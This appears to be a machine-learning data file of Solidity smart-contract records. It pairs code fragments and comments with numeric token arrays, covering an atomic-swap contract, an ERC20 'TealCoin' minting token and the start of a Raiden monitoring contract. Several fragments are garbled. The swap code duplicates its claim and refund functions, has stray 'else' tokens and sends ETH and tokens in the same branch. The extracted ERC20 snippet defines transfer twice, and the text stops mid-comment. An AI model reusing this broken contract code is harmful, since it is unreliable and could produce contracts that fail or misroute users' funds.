InvalidClaimer(); if (_timeoutDuration0 == 0 || _timeoutDuration1 == 0) revert InvalidTimeout(); Swap memory swap = Swap({ owner: payable(msg.sender), pubKeyClaim: _pubKeyClaim, pubKeyRefund: _pubKeyRefund, claimer: _claimer, timeout0: block.timestamp + _timeoutDuration0, timeout1: block.timestamp + _timeoutDuration0 + _timeoutDuration1, asset: _asset, value: _value, nonce: _nonce }); bytes32 swapID = keccak256(abi.encode(swap)); emit New( swapID, _pubKeyClaim, _pubKeyRefund, swap.timeout0, swap.timeout1, swap.asset, swap.value ); swaps[swapID] = Stage.PENDING; return swapID; } if (swaps[swapID] != Stage.INVALID) revert SwapAlreadyExists(); function setReady(Swap memory _swap) public { bytes32 swapID = keccak256(abi.encode(_swap)); if (swaps[swapID] != Stage.PENDING) revert SwapNotPending(); if (_swap.owner != msg.sender) revert OnlySwapOwner(); swaps[swapID] = Stage.READY; emit Ready(swapID); } function claim(Swap memory _swap, bytes32 _s) public { _claim(_swap, _s); if (_swap.asset == address(0)) { _swap.claimer.transfer(_swap.value); IERC20(_swap.asset).transfer(_swap.claimer, _swap.value); } } function claim(Swap memory _swap, bytes32 _s) public { _claim(_swap, _s); if (_swap.asset == address(0)) { _swap.claimer.transfer(_swap.value); IERC20(_swap.asset).transfer(_swap.claimer, _swap.value); } } } else { function claimRelayer(Swap memory _swap, bytes32 _s, uint256 fee) public { if (!isTrustedForwarder(msg.sender)) revert OnlyTrustedForwarder(); _claim(_swap, _s); if (_swap.asset == address(0)) { _swap.claimer.transfer(_swap.value - fee); IERC20(_swap.asset).transfer(_swap.claimer, _swap.value - fee); } } function claimRelayer(Swap memory _swap, bytes32 _s, uint256 fee) public { if (!isTrustedForwarder(msg.sender)) revert OnlyTrustedForwarder(); _claim(_swap, _s); if (_swap.asset == address(0)) { _swap.claimer.transfer(_swap.value - fee); IERC20(_swap.asset).transfer(_swap.claimer, _swap.value - fee); } } } else { function _claim(Swap memory _swap, bytes32 _s) internal { bytes32 swapID = keccak256(abi.encode(_swap)); Stage swapStage = swaps[swapID]; if (swapStage == Stage.INVALID) revert InvalidSwap(); if (swapStage == Stage.COMPLETED) revert SwapCompleted(); if (_msgSender() != _swap.claimer) revert OnlySwapClaimer(); if (block.timestamp < _swap.timeout0 && swapStage != Stage.READY) revert TooEarlyToClaim(); if (block.timestamp >= _swap.timeout1) revert TooLateToClaim(); verifySecret(_s, _swap.pubKeyClaim); emit Claimed(swapID, _s); swaps[swapID] = Stage.COMPLETED; } function refund(Swap memory _swap, bytes32 _s) public { bytes32 swapID = keccak256(abi.encode(_swap)); Stage swapStage = swaps[swapID]; if (swapStage == Stage.INVALID) revert InvalidSwap(); if (swapStage == Stage.COMPLETED) revert SwapCompleted(); if (_swap.owner != msg.sender) revert OnlySwapOwner(); if ( block.timestamp < _swap.timeout1 && (block.timestamp > _swap.timeout0 || swapStage == Stage.READY) ) revert NotTimeToRefund(); verifySecret(_s, _swap.pubKeyRefund); emit Refunded(swapID, _s); swaps[swapID] = Stage.COMPLETED; if (_swap.asset == address(0)) { _swap.owner.transfer(_swap.value); IERC20(_swap.asset).transfer(_swap.owner, _swap.value); } } function refund(Swap memory _swap, bytes32 _s) public { bytes32 swapID = keccak256(abi.encode(_swap)); Stage swapStage = swaps[swapID]; if (swapStage == Stage.INVALID) revert InvalidSwap(); if (swapStage == Stage.COMPLETED) revert SwapCompleted(); if (_swap.owner != msg.sender) revert OnlySwapOwner(); if ( block.timestamp < _swap.timeout1 && (block.timestamp > _swap.timeout0 || swapStage == Stage.READY) ) revert NotTimeToRefund(); verifySecret(_s, _swap.pubKeyRefund); emit Refunded(swapID, _s); swaps[swapID] = Stage.COMPLETED; if (_swap.asset == address(0)) { _swap.owner.transfer(_swap.value); IERC20(_swap.asset).transfer(_swap.owner, _swap.value); } } } else { function verifySecret(bytes32 _s, bytes32 _hashedPubkey) internal pure { if (!mulVerify(uint256(_s), uint256(_hashedPubkey))) revert InvalidSecret(); } }
15,556,421
[ 1, 12521, 919, 353, 28454, 1347, 326, 7720, 353, 1122, 2522, 471, 9831, 785, 432, 2008, 1678, 16531, 358, 10746, 61, 1347, 23901, 29308, 326, 284, 19156, 8586, 603, 326, 1308, 2687, 18, 333, 17793, 605, 947, 628, 598, 9446, 310, 284, 19156, 2887, 18887, 284, 19156, 603, 326, 1308, 2687, 1122, 16531, 353, 444, 358, 25623, 40, 12318, 326, 7720, 460, 3832, 7516, 329, 578, 1278, 12254, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 12738, 10636, 353, 4232, 39, 22, 4700, 21, 1042, 16, 3232, 84, 5034, 79, 21, 288, 203, 565, 2792, 16531, 288, 203, 3639, 10071, 16, 203, 3639, 28454, 16, 203, 3639, 10746, 61, 16, 203, 3639, 25623, 40, 203, 565, 289, 203, 203, 565, 1958, 12738, 288, 203, 3639, 1758, 8843, 429, 3410, 31, 203, 3639, 1758, 8843, 429, 927, 69, 4417, 31, 203, 3639, 1731, 1578, 18659, 9762, 31, 203, 3639, 1731, 1578, 18659, 21537, 31, 203, 3639, 2254, 5034, 2021, 20, 31, 203, 3639, 2254, 5034, 2021, 21, 31, 203, 3639, 1758, 3310, 31, 203, 3639, 2254, 5034, 460, 31, 203, 3639, 2254, 5034, 7448, 31, 203, 565, 289, 203, 203, 565, 2874, 12, 3890, 1578, 516, 16531, 13, 1071, 1352, 6679, 31, 203, 203, 565, 871, 1166, 12, 203, 3639, 1731, 1578, 7720, 734, 16, 203, 3639, 1731, 1578, 7516, 653, 16, 203, 3639, 1731, 1578, 16255, 653, 16, 203, 3639, 2254, 5034, 2021, 20, 16, 203, 3639, 2254, 5034, 2021, 21, 16, 203, 3639, 1758, 3310, 16, 203, 3639, 2254, 5034, 460, 203, 565, 11272, 203, 565, 871, 26732, 12, 3890, 1578, 8808, 7720, 734, 1769, 203, 565, 871, 18381, 329, 12, 3890, 1578, 8808, 7720, 734, 16, 1731, 1578, 8808, 272, 1769, 203, 565, 871, 3941, 12254, 12, 3890, 1578, 8808, 7720, 734, 16, 1731, 1578, 8808, 272, 1769, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 565, 555, 12744, 620, 5621, 203, 565, 555, 1962, 12521, 2 ]
./full_match/80001/0x14e39aDc79A7610c685143c4cd891F94dB3B40cD/sources/@aragon/osx/framework/dao/DAOFactory.sol
@notice Thrown if `PluginSettings` array is empty, and no plugin is provided.
error NoPluginProvided();
5,569,324
[ 1, 29591, 309, 1375, 3773, 2628, 68, 526, 353, 1008, 16, 471, 1158, 1909, 353, 2112, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 555, 2631, 3773, 19254, 5621, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-08-25 */ pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } pragma solidity ^0.5.0; /** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => uint256) internal _datesOfFirstTransfer; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { if (_datesOfFirstTransfer[recipient] == 0) { _datesOfFirstTransfer[recipient] = now; } _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } pragma solidity ^0.5.0; contract TealCoin is ERC20 { string private _name; string private _symbol; uint8 private _decimals; address public owner; uint256 public currentFactor = 4167; // Corresponds to 0.004167 mapping (address => uint256) private _lastTimeMinted; address tealToken = 0x38d58B82cB24A3e0410a7991f255174c9FD8093b; function getTealTokenBalance(address _wallet) internal view returns (uint256) { return ERC20(tealToken).balanceOf(_wallet); } function updateFactor(uint256 _factor) public onlyOwner { currentFactor = _factor; } constructor() public payable { _name = 'TealCoin'; _symbol = 'TEAC'; _decimals = 6; owner = msg.sender; _mint(msg.sender, 1000000 * 10 ** 6); } modifier onlyOwner() { require(msg.sender == owner, "Only owner is allowed to do this"); _; } function mint(address account) public returns (bool) { uint256 lastTime = _lastTimeMinted[account]; require(now > lastTime + 1 days, "You need to wait at least one day since the last minting"); _lastTimeMinted[account] = now; uint256 total = getTealTokenBalance(account); total = total.mul(currentFactor); require(total > 0, "Not enough balance"); _mint(account, total); return true; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } }
* @dev Implementation of the `IERC20` interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using `_mint`. For a generic mechanism see `ERC20Mintable`. For a detailed writeup see our guide [How to implement supply We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an `Approval` event is emitted on calls to `transferFrom`. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard `decreaseAllowance` and `increaseAllowance` functions have been added to mitigate the well-known issues around setting allowances. See `IERC20.approve`./
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => uint256) internal _datesOfFirstTransfer; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { if (_datesOfFirstTransfer[recipient] == 0) { _datesOfFirstTransfer[recipient] = now; } _transfer(msg.sender, recipient, amount); return true; } function transfer(address recipient, uint256 amount) public returns (bool) { if (_datesOfFirstTransfer[recipient] == 0) { _datesOfFirstTransfer[recipient] = now; } _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
25,391
[ 1, 13621, 434, 326, 1375, 45, 654, 39, 3462, 68, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 1375, 67, 81, 474, 8338, 2457, 279, 5210, 12860, 2621, 1375, 654, 39, 3462, 49, 474, 429, 8338, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 306, 44, 543, 358, 2348, 14467, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 1375, 23461, 68, 871, 353, 17826, 603, 4097, 358, 1375, 13866, 1265, 8338, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 9484, 2537, 635, 13895, 358, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 4232, 39, 3462, 353, 467, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 2713, 389, 9683, 951, 3759, 5912, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 4963, 3088, 1283, 31, 203, 565, 289, 203, 203, 565, 445, 11013, 951, 12, 2867, 2236, 13, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 70, 26488, 63, 4631, 15533, 203, 565, 289, 203, 203, 565, 445, 7412, 12, 2867, 8027, 16, 2254, 5034, 3844, 13, 1071, 1135, 261, 6430, 13, 288, 203, 3639, 309, 261, 67, 9683, 951, 3759, 5912, 63, 20367, 65, 422, 374, 13, 288, 203, 5411, 389, 9683, 951, 3759, 5912, 63, 20367, 65, 273, 2037, 31, 203, 3639, 289, 203, 540, 203, 3639, 389, 13866, 12, 3576, 18, 15330, 16, 8027, 16, 3844, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 565, 445, 7412, 12, 2867, 8027, 16, 2254, 5034, 3844, 13, 1071, 1135, 261, 6430, 13, 288, 203, 3639, 309, 261, 67, 9683, 951, 3759, 5912, 63, 20367, 65, 422, 374, 13, 288, 203, 5411, 389, 9683, 951, 3759, 5912, 2 ]
pragma solidity ^0.4.23; import "raiden/Token.sol"; import "raiden/Utils.sol"; import "raiden/lib/ECVerify.sol"; import "raiden/TokenNetwork.sol"; import "raiden/RaidenServiceBundle.sol"; contract MonitoringService is Utils { string constant public contract_version = "0.3._"; // Token to be used for paying the rewards Token public token; // Raiden Service Bundle contract to use for checking if MS has deposits RaidenServiceBundle public rsb; // keccak256(channel_identifier, token_network_address) => Struct // Keep track of the rewards per channel mapping(bytes32 => Reward) rewards; // Keep track of balances mapping(address => uint256) public balances; /* * Structs */ struct Reward{ // The amount of tokens to be rewarded uint256 reward_amount; // Nonce of the most recently provided BP uint256 nonce; // Address of the Raiden Node that was monitored // This is also the address that has the reward deducted from its deposit address reward_sender_address; // Address of the Monitoring Service who is currenly eligible to claim the reward address monitoring_service_address; } /* * Events */ event NewDeposit(address indexed receiver, uint amount); event NewBalanceProofReceived( uint256 reward_amount, uint256 indexed nonce, address indexed ms_address, address indexed raiden_node_address ); event RewardClaimed(address indexed ms_address, uint amount, bytes32 indexed reward_identifier); event Withdrawn(address indexed account, uint amount); /* * Modifiers */ modifier canMonitor(address _ms_address) { require(rsb.deposits(_ms_address) > 0); _; } /* * Constructor */ /// @notice Set the default values for the smart contract /// @param _token_address The address of the token to use for rewards /// @param _rsb_address The address of the RaidenServiceBundle contract constructor( address _token_address, address _rsb_address ) public { require(_token_address != 0x0); require(_rsb_address != 0x0); require(contractExists(_token_address)); require(contractExists(_rsb_address)); token = Token(_token_address); rsb = RaidenServiceBundle(_rsb_address); // Check if the contract is indeed a token contract require(token.totalSupply() > 0); // Check if the contract is indeed an rsb contract // TODO: Check that some function exists in the contract } /// @notice 